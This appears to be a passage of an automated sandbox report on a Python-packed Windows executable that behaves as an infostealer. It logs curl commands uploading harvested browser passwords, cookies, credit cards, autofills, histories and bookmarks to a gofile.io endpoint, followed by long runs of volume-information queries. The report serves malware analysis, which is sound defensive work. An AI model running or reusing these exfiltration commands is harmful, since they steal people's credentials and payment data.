Source: C:\Users\user\Desktop\main.exe Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "curl -f "file=@c:\users\user\appdata\local\tempprysmax-745773\prautofills.txt" https://[{'name': 'store-eu-par-3', 'zone': 'eu'}, {'name': 'store6', 'zone': 'eu'}, {'name': 'store5', 'zone': 'eu'}, {'name': 'store4', 'zone': 'eu'}, {'name': 'store1', 'zone': 'eu'}].gofile.io/contents/uploadfile"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\curl.exe curl -f "file=@c:\users\user\appdata\local\tempprysmax-745773\prautofills.txt" https://[{'name': 'store-eu-par-3', 'zone': 'eu'}, {'name': 'store6', 'zone': 'eu'}, {'name': 'store5', 'zone': 'eu'}, {'name': 'store4', 'zone': 'eu'}, {'name': 'store1', 'zone': 'eu'}].gofile.io/contents/uploadfile
Source: C:\Users\user\Desktop\main.exe Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "curl -f "file=@c:\users\user\appdata\local\tempprysmax-745773\prhistories.txt" https://[{'name': 'store-eu-par-3', 'zone': 'eu'}, {'name': 'store6', 'zone': 'eu'}, {'name': 'store5', 'zone': 'eu'}, {'name': 'store4', 'zone': 'eu'}, {'name': 'store1', 'zone': 'eu'}].gofile.io/contents/uploadfile"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\curl.exe curl -f "file=@c:\users\user\appdata\local\tempprysmax-745773\prhistories.txt" https://[{'name': 'store-eu-par-3', 'zone': 'eu'}, {'name': 'store6', 'zone': 'eu'}, {'name': 'store5', 'zone': 'eu'}, {'name': 'store4', 'zone': 'eu'}, {'name': 'store1', 'zone': 'eu'}].gofile.io/contents/uploadfile
Source: C:\Users\user\Desktop\main.exe Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "curl -f "file=@c:\users\user\appdata\local\tempprysmax-745773\prbookmarks.txt" https://[{'name': 'store-eu-par-3', 'zone': 'eu'}, {'name': 'store6', 'zone': 'eu'}, {'name': 'store5', 'zone': 'eu'}, {'name': 'store4', 'zone': 'eu'}, {'name': 'store1', 'zone': 'eu'}].gofile.io/contents/uploadfile"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\curl.exe curl -f "file=@c:\users\user\appdata\local\tempprysmax-745773\prbookmarks.txt" https://[{'name': 'store-eu-par-3', 'zone': 'eu'}, {'name': 'store6', 'zone': 'eu'}, {'name': 'store5', 'zone': 'eu'}, {'name': 'store4', 'zone': 'eu'}, {'name': 'store1', 'zone': 'eu'}].gofile.io/contents/uploadfile
Source: C:\Users\user\Desktop\main.exe Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "curl -f "file=@c:\users\user\appdata\local\tempprysmax-745773\prpasswords.txt" https://[{'name': 'store-eu-par-3', 'zone': 'eu'}, {'name': 'store6', 'zone': 'eu'}, {'name': 'store5', 'zone': 'eu'}, {'name': 'store4', 'zone': 'eu'}, {'name': 'store1', 'zone': 'eu'}].gofile.io/contents/uploadfile" Jump to behavior
Source: C:\Users\user\Desktop\main.exe Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "curl -f "file=@c:\users\user\appdata\local\tempprysmax-745773\prcookies.txt" https://[{'name': 'store-eu-par-3', 'zone': 'eu'}, {'name': 'store6', 'zone': 'eu'}, {'name': 'store5', 'zone': 'eu'}, {'name': 'store4', 'zone': 'eu'}, {'name': 'store1', 'zone': 'eu'}].gofile.io/contents/uploadfile" Jump to behavior
Source: C:\Users\user\Desktop\main.exe Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "curl -f "file=@c:\users\user\appdata\local\tempprysmax-745773\prcreditcards.txt" https://[{'name': 'store-eu-par-3', 'zone': 'eu'}, {'name': 'store6', 'zone': 'eu'}, {'name': 'store5', 'zone': 'eu'}, {'name': 'store4', 'zone': 'eu'}, {'name': 'store1', 'zone': 'eu'}].gofile.io/contents/uploadfile" Jump to behavior
Source: C:\Users\user\Desktop\main.exe Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "curl -f "file=@c:\users\user\appdata\local\tempprysmax-745773\prautofills.txt" https://[{'name': 'store-eu-par-3', 'zone': 'eu'}, {'name': 'store6', 'zone': 'eu'}, {'name': 'store5', 'zone': 'eu'}, {'name': 'store4', 'zone': 'eu'}, {'name': 'store1', 'zone': 'eu'}].gofile.io/contents/uploadfile" Jump to behavior
Source: C:\Users\user\Desktop\main.exe Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "curl -f "file=@c:\users\user\appdata\local\tempprysmax-745773\prhistories.txt" https://[{'name': 'store-eu-par-3', 'zone': 'eu'}, {'name': 'store6', 'zone': 'eu'}, {'name': 'store5', 'zone': 'eu'}, {'name': 'store4', 'zone': 'eu'}, {'name': 'store1', 'zone': 'eu'}].gofile.io/contents/uploadfile" Jump to behavior
Source: C:\Users\user\Desktop\main.exe Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "curl -f "file=@c:\users\user\appdata\local\tempprysmax-745773\prbookmarks.txt" https://[{'name': 'store-eu-par-3', 'zone': 'eu'}, {'name': 'store6', 'zone': 'eu'}, {'name': 'store5', 'zone': 'eu'}, {'name': 'store4', 'zone': 'eu'}, {'name': 'store1', 'zone': 'eu'}].gofile.io/contents/uploadfile" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\curl.exe curl -f "file=@c:\users\user\appdata\local\tempprysmax-745773\prpasswords.txt" https://[{'name': 'store-eu-par-3', 'zone': 'eu'}, {'name': 'store6', 'zone': 'eu'}, {'name': 'store5', 'zone': 'eu'}, {'name': 'store4', 'zone': 'eu'}, {'name': 'store1', 'zone': 'eu'}].gofile.io/contents/uploadfile Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\curl.exe curl -f "file=@c:\users\user\appdata\local\tempprysmax-745773\prcookies.txt" https://[{'name': 'store-eu-par-3', 'zone': 'eu'}, {'name': 'store6', 'zone': 'eu'}, {'name': 'store5', 'zone': 'eu'}, {'name': 'store4', 'zone': 'eu'}, {'name': 'store1', 'zone': 'eu'}].gofile.io/contents/uploadfile Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\curl.exe curl -f "file=@c:\users\user\appdata\local\tempprysmax-745773\prcreditcards.txt" https://[{'name': 'store-eu-par-3', 'zone': 'eu'}, {'name': 'store6', 'zone': 'eu'}, {'name': 'store5', 'zone': 'eu'}, {'name': 'store4', 'zone': 'eu'}, {'name': 'store1', 'zone': 'eu'}].gofile.io/contents/uploadfile Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\curl.exe curl -f "file=@c:\users\user\appdata\local\tempprysmax-745773\prautofills.txt" https://[{'name': 'store-eu-par-3', 'zone': 'eu'}, {'name': 'store6', 'zone': 'eu'}, {'name': 'store5', 'zone': 'eu'}, {'name': 'store4', 'zone': 'eu'}, {'name': 'store1', 'zone': 'eu'}].gofile.io/contents/uploadfile Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\curl.exe curl -f "file=@c:\users\user\appdata\local\tempprysmax-745773\prhistories.txt" https://[{'name': 'store-eu-par-3', 'zone': 'eu'}, {'name': 'store6', 'zone': 'eu'}, {'name': 'store5', 'zone': 'eu'}, {'name': 'store4', 'zone': 'eu'}, {'name': 'store1', 'zone': 'eu'}].gofile.io/contents/uploadfile Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\curl.exe curl -f "file=@c:\users\user\appdata\local\tempprysmax-745773\prbookmarks.txt" https://[{'name': 'store-eu-par-3', 'zone': 'eu'}, {'name': 'store6', 'zone': 'eu'}, {'name': 'store5', 'zone': 'eu'}, {'name': 'store4', 'zone': 'eu'}, {'name': 'store1', 'zone': 'eu'}].gofile.io/contents/uploadfile Jump to behavior
Contains functionality to query CPU information (cpuid)
Source: C:\Users\user\Desktop\main.exe Code function: 0_2_00007FF7333BA7E0 cpuid 0_2_00007FF7333BA7E0
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\Cipher VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\Cipher VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\Cipher VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\Cipher VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\Cipher VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\Hash VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\Hash VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\PublicKey VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\Util VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\MarkupSafe-3.0.2.dist-info VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\MarkupSafe-3.0.2.dist-info VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\MarkupSafe-3.0.2.dist-info VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\MarkupSafe-3.0.2.dist-info VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\PIL VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\PIL VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\PIL VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\PIL VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\cryptography-44.0.0.dist-info VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\cryptography-44.0.0.dist-info VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\cryptography-44.0.0.dist-info VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\cryptography-44.0.0.dist-info VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\cryptography-44.0.0.dist-info VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\cryptography-44.0.0.dist-info\licenses VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\cryptography-44.0.0.dist-info VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\cryptography-44.0.0.dist-info\licenses VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\h2-4.1.0.dist-info VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\h2-4.1.0.dist-info VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\h2-4.1.0.dist-info VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\h2-4.1.0.dist-info VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\h2-4.1.0.dist-info VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\ossl-modules VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\pywin32_system32 VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\setuptools-65.5.0.dist-info VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\setuptools-65.5.0.dist-info VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\setuptools-65.5.0.dist-info VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\win32 VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\win32 VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\zstandard VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\Desktop\main.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802 VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802 VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802 VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\Desktop\main.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802 VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802 VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802 VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\Desktop\main.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\Desktop\main.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\Desktop\main.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\Desktop\main.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802 VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\Desktop\main.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\Desktop\main.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802 VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\_bz2.pyd VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\Desktop\main.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802 VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\_lzma.pyd VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\Desktop\main.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\Desktop\main.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\Desktop\main.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\Desktop\main.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802 VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\win32 VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\Pythonwin VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\pywin32_system32 VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\base_library.zip VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\certifi VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\charset_normalizer VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\cryptography VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\cryptography-44.0.0.dist-info VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\h2-4.1.0.dist-info VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\libcrypto-3-x64.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\libcrypto-3.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\libffi-8.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\markupsafe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\MarkupSafe-3.0.2.dist-info VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\ossl-modules VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\psutil VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\main.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75802\pyexpat.pyd VolumeInformation Jump to behavior
